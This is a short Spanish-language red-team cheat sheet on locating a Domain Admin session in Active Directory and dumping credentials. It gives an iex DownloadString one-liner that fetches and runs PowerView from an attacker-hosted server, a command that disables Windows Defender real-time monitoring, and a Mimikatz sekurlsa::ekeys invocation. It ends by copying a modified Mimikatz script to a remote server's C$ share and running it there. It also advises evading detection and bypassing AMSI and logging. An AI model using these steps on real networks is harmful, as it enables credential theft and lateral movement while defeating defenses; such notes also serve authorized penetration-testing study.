Detección de sesión de un DA

Advertencia

Usar una versión modificada de Invoke-Mimikatz para evitar detecciones.

Advertencia

Antes de cargar las herramientas, aplicar el bypass del Enhanced Script Block Logging y de AMSI en la sesión (los payloads no se reproducen aquí).

Detección

En un servidor web local, subir PowerView, SafetyKatz y/o Invoke-Mimikatz.

Descargar PowerView y buscar la sesión del Domain Admin:

iex ((New-Object Net.WebClient).DownloadString('http://<LOCAL_IP_ADDRESS>/PowerView.ps1')); Find-DomainUserLocation

Validar si están habilitados AppLocker, CLM y Windows Defender (ver enumeración de protecciones).

Deshabilitar Windows Defender donde haya protecciones:

Set-MpPreference -DisableRealTimeMonitoring $true -Verbose

Con CLM habilitado, Invoke-Mimikatz no se carga por dot-sourcing; agregar al final del script la invocación directa:

Invoke-Mimi -Command '"sekurlsa::ekeys"'

Subir el script a la máquina remota y ejecutarlo:

Copy-Item C:\AD\Tools\Invoke-MimiEx.ps1 \\<SERVER_NAME>.<DOMAIN>\c$\'Program Files'
ls
.\Invoke-MimiEx.ps1